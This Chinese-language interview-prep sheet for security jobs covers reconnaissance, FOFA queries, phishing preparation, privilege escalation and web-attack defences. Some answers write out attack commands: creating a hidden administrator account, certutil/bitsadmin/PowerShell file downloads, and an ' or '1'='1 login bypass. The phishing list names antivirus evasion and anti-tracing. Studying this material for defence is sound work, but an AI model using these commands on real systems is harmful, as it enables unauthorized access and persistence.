#创作灵感#
助力网安人员顺利面试
等保测评
等保测评一般分成五个阶段,定级、备案、测评、整改、监督检查。
外网
外网打点的基本流程主要分为:靶标确认、信息收集、漏洞探测、漏洞利用、权限获取,其最终目的是为了获取靶标的系统权限/关键数据。
而在整个打点流程中,信息收集较为重要。掌握靶标情报越多,后续就能够尝试更多的攻击方式进行打点。比如:钓鱼邮件、Web漏洞、边界网络设备漏洞、弱口令等等。
在外网打点过程中,常用的信息收集工具:
名称 |
描述 |
---|---|
ENScan |
企业信息查询工具 |
Oneforall |
子域名收集工具 |
水泽 |
信息收集自动化工具 |
FOFA、Goby |
网络安全资产检索\攻击面测绘工具 |
Masscan |
端口扫描工具 |
ARL 资产安全灯塔 |
快速侦察与目标关联的资产工具 |
FOFA在外网打点过程中的使用技巧:
示例 | 搜索语句 |
---|---|
后台挖掘 | title="后台" && body=“password” && host=“x.cn” |
子域名 | title!="404" && title!="302" && host="x.cn" |
C段 | ip="x.x.x.x/24" && body="password" [登录场景] |
框架特征 | body="icon-spring-boot-admin.svg" [Spring Boot Admin] |
漏洞 | body=“index of /” [列目录漏洞] |
如何识别CDN?
a. 通过“ ping ”命令,看执行回显情况。
b. Windows系统环境下,使用“ nslookup ”进行查询,看返回的域名解析情况。
c. 超级PING工具,比如:all-tool.cn/Tools/ping。[看IP结果]
邮件钓鱼的准备工作有哪些?
a. 确定邮件钓鱼的形式:链接、文件
b. 收集目标相关邮箱
c. 编写钓鱼邮件文案
d. 匿名邮箱
e. 木马免杀测试、钓鱼站点搭建
f. 反溯源
判断出靶标的CMS,对外网打点有什么意义?
a. 判断当前使用的CMS是否存在Nday,尝试利用公开的POC、EXP进行测试。
b. 根据CMS特征关联同CMS框架站点,进行「敏感备份文件」扫描,有可能获取到站点备份文件。尝试从CMS源码进行代码审计,挖掘潜在漏洞。
Apache Log4j2的漏洞原理是什么?
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
水坑攻击和鱼叉攻击的区别是什么?
水坑攻击指的是黑客通过分析被攻击者的网络活动规律,寻找被攻击者经常访问的网站的弱点,先攻下该网站并植入攻击代码,等待被攻击者来访时实施攻击。
鱼叉攻击则是通常是指利用木马程序作为电子邮件的附件,发送到目标电脑上,诱导受害者去打开附件来感染木马。
如何手工判断靶标站点是Windows/Linux?
a. 大小写检测:Windows大小写不敏感,而Liunx大小写敏感
b. PING指令:根据TTL值,Windows一般情况下>100、Linux则<100
无法连接服务器3389端口的几种情况?
a. 3389端口处于关闭状态
b. 远程桌面默认端口号已被修改
c. 防火墙拦截
d. 处于内网环境
e. 超过了服务器最大连接数
f. 管理员设置了权限,指定用户才能通过3389端口进行远程桌面访问
如何建立隐藏用户?
a. net user test$ 123456 /add [建立隐藏用户]
b. net localgroup administrators test$ /add [将隐藏用户加入管理组]
为什么Mysql数据库的站点,无法连接?
a. 站库分离
b. 3306端口未对外开放
c. Mysql默认端口已被修改
文件上传功能的检测点有哪些?
a. 客户端JavaScript检测(文件后缀名检测)
b. 服务端检测(MINE类型检测、文件后缀名、文件格式头)
常见的未授权访问漏洞有哪些?
a. MongoDB 未授权访问漏洞
b. Redis 未授权访问漏洞
c. Memcached 未授权访问漏洞
d. JBOSS 未授权访问漏洞
e. VNC 未授权访问漏洞
f. Docker 未授权访问漏洞
g. ZooKeeper 未授权访问漏洞
h. Rsync 未授权访问漏洞
代码执行、文件读取、命令执行的函数有哪些?
类型 | 函数 |
---|---|
文件执行 | eval、call_user_func、call_user_func_array等 |
文件读取 | fopen()、readfile()、fread()、file()、show_source()等 |
命令执行 | system()、exec()、shell_exec()、passthru()、pcntl_exec()等 |
正向shell和反向shell的区别:
类型 | 说明 |
---|---|
正向shell | 攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况 |
反向shell | 被攻击者自动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况 |
正向代理和反向代理的区别:
类型 | 说明 |
---|---|
正向代理 | 当客户端无法访问外部资源的时候(比如Google、YouTube),可以通过一个正向代理去间接地访问。正向代理是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。 |
反向代理 | 客户端是无感知代理的存在,以代理服务器来接受intemet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端。此时代理服务器对外就表现为一个服务器。 |
Web TOP 10漏洞有哪些?
1. SQL注入
2. 失效的身份认证
3. 敏感数据泄露
4. XML外部实体(XXE)
5. 失效的访问控制
6. 安全配置错误
7. 跨站脚本(XSS)
8. 不安全的反序列化
9. 使用含有已知漏洞的组件
10. 不足的日志记录和监控
SQL注入的种类有哪些?
a. 按照注入点类型分为:数字型、字符串、搜索型
b. 按照数据提交的方式分为:GET型、POST型、Cookie型、HTTP 头
c. 按照执行效果分为:基于报错、基于布尔的盲注、基于时间的盲注、基于数字
常见的中间件有哪些?它们有哪些漏洞?
• IIS:PUT漏洞、短文件名猜解、远程代码执行、解析漏洞
• Apache:解析漏洞、目录遍历
• Nginx:文件解析、目录遍历、CRLF注入、目录穿越
• Tomcat:远程代码执行、war后门文件部署
• JBoss:反序列化漏洞、war后门文件部署
• WebLogic:反序列化漏洞、SSRF任意文件上传、war后门文件部署
• Apache Shiro反序列化漏洞: Shiro rememberMe(Shiro-550)、Shiro Padding Oracle Attack(Shiro-721)
常用的目录扫描工具有哪些?
• 御剑
• Dirsearch
• dirmap
• Webdirscan
Windows常用的提权方法有哪些?
• 系统内核溢出漏洞提权
• 数据库提权
• 错误的系统配置提权
• 组策略首选项提权
• WEB中间件漏洞提权
• DLL劫持提权
• 滥用高危权限令牌提权
• 第三方软件/服务提权等
Windows环境下有哪些下载文件的命令?
a. certutil -urlcache -split -f [url]
b. bitsadmin /transfer myDownLoadJob /download /priority normal [url] [存放路径]
c. powershell (new-object Net.WebClient).DownloadFile([url],[存放路径])
木马驻留系统的方式有哪些?
a. 注册表
b. 服务
c. 启动目录
d. 计划任务
e. 关联文件类型
常用的Webshell检测工具有哪些?
a. D盾
b. 河马WEBSHELL
c. 百度 WEBDIR+
d. Web Shell Detector
e. Sangfor WebShellKill [深信服]
f. PHP Malware Finder [支持Linux]
一般情况下,哪些漏洞会高频被用于打点?
a. Apache Shiro 相关漏洞
b. Fastjson 漏洞
c. Log4j
d. 上传漏洞
e. 边界网络设备资产 + 弱口令
应急响应的基本思路是什么?
a. 收集信息:收集告警信息、客户反馈信息、设备主机信息等
b. 判断类型:安全事件类型判断。(钓鱼邮件、Webshll、爆破、中毒等)
c. 控制范围:隔离失陷设备
d. 分析研判:根据收集回来的信息进行分析
e. 处置:根据事件类型进行处置(进程、文件、邮件、启动项、注册表排查等)
f. 输出报告
蓝队常用的反制手段有哪些?
a. 蜜罐
b. 对攻击目标进行反渗透(IP定位、IP端口扫描、Web站点渗透)
c. 应用漏洞挖掘&利用(菜刀、Goby、Xray、蚁剑)
d. id -> 社交特征关联
e. 钓鱼网站 -> 后台扫描、XSS盲打
f. 木马文件 -> 同源样本关联 -> 敏感字符串特征检测
常见的状态码有哪些?
- 1xx(信息性状态码):表示接收的请求正在处理。
- 2xx(成功状态码):表示请求正常处理完毕。
- 3xx(重定向状态码):需要后续操作才能完成这一请求。
- 4xx(客户端错误状态码):表示请求包含语法错误或无法完成。
- 5xx(服务器错误状态码):表示服务器在处理请求时发生错误。
防范常见的 Web 攻击
什么是 SQL 注入攻击?
攻击者在 HTTP 请求中注入恶意的 SQL 代码,服务器使用参数构建数据库 SQL 命令时,恶意
SQL 被一起构造,并在数据库中执行。
用户登录,输入用户名 lianggzone,密码 ‘ or ‘1’=’1 ,如果此时使用参数构造的方式,就会出现:select * from user where name = ‘lianggzone’ and password = ‘’ or ‘1’=‘1’
不管用户名和密码是什么内容,使查询出来的用户列表不为空。
如何防范 SQL 注入攻击使用?
预编译的 PrepareStatement 是必须的,但是一般我们会从两个方面同时入手。
Web 端
1)有效性检验。
2)限制字符串输入的长度。
服务端
1)不用拼接 SQL 字符串。
2)使用预编译的 PrepareStatement。
3)有效性检验。(为什么服务端还要做有效性检验?第一准则,外部都是不可信的,防止攻
击者绕过 Web 端请求)
4)过滤 SQL 需要的参数中的特殊字符。比如单引号、双引号。
什么是 XSS 攻击?
跨站点脚本攻击,指攻击者通过篡改网页,嵌入恶意脚本程序,在用户浏览网页时,控制用
户浏览器进行恶意操作的一种攻击方式。
如何防范 XSS 攻击?
1)前端,服务端,同时需要字符串输入的长度限制。
2)前端,服务端,同时需要对 HTML 转义处理。将其中的”<”,”>”等特殊字符进行转义编码。
防 XSS 的核心是必须对输入的数据做过滤处理。
什么是 CSRF 攻击?
客户端请求伪造,指攻击者通过跨站请求,以合法的用户的身份进行非法操作。可以这么理解 CSRF 攻击:攻击者盗用你的身份,以你的名义向第三方网站发送恶意请求。
CRSF 能做的事情包括利用你的身份发邮件,发短信,进行交易转账,甚至盗取账号信息。
如何防范 CSRF 攻击?
安全框架,例如 Spring Security。
token 机制。在 HTTP 请求中进行 token 验证,如果请求中没有 token 或者 token 内容不正确,
则认为 CSRF 攻击而拒绝该请求。
验证码。通常情况下,验证码能够很好的遏制 CSRF 攻击,但是很多情况下,出于用户体验
考虑,验证码只能作为一种辅助手段,而不是最主要的解决方案。
referer 识别。在 HTTP Header 中有一个字段 Referer,它记录了 HTTP 请求的来源地址。如果
Referer 是其他网站,就有可能是 CSRF 攻击,则拒绝该请求。但是,服务器并非都能取到
Referer。很多用户出于隐私保护的考虑,限制了 Referer 的发送。在某些情况下,浏览器也
不会发送 Referer,例如 HTTPS 跳转到 HTTP。
1)验证请求来源地址;
2)关键操作添加验证码;
3)在请求地址添加 token 并验证。
什么是文件上传漏洞?
文件上传漏洞,指的是用户上传一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。
许多第三方框架、服务,都曾经被爆出文件上传漏洞,比如很早之前的 Struts2,以及富文本编辑器等等,可被攻击者上传恶意代码,有可能服务端就被人黑了。
如何防范文件上传漏洞?
文件上传的目录设置为不可执行。
1)判断文件类型。在判断文件类型的时候,可以结合使用 MIME Type,后缀检查等方式。
因为对于上传文件,不能简单地通过后缀名称来判断文件的类型,因为攻击者可以将可执行
文件的后缀名称改为图片或其他后缀类型,诱导用户执行。
2)对上传的文件类型进行白名单校验,只允许上传可靠类型。
3)上传的文件需要进行重新命名,使攻击者无法猜想上传文件的访问路径,将极大地增加
攻击成本,同时向 shell.php.rar.ara 这种文件,因为重命名而无法成功实施攻击。
4)限制上传文件的大小。
5)单独设置文件服务器的域名。
DDos 攻击客户端向服务端发送请求链接数据包,服务端向客户端发送确认数据包,客户端不向服务端 发送确认数据包,服务器一直等待来自客户端的确认
没有彻底根治的办法,除非不使用 TCP
DDos 预防:
1)限制同时打开 SYN 半链接的数目
2)缩短 SYN 半链接的 Time out 时间
3)关闭不必要的服务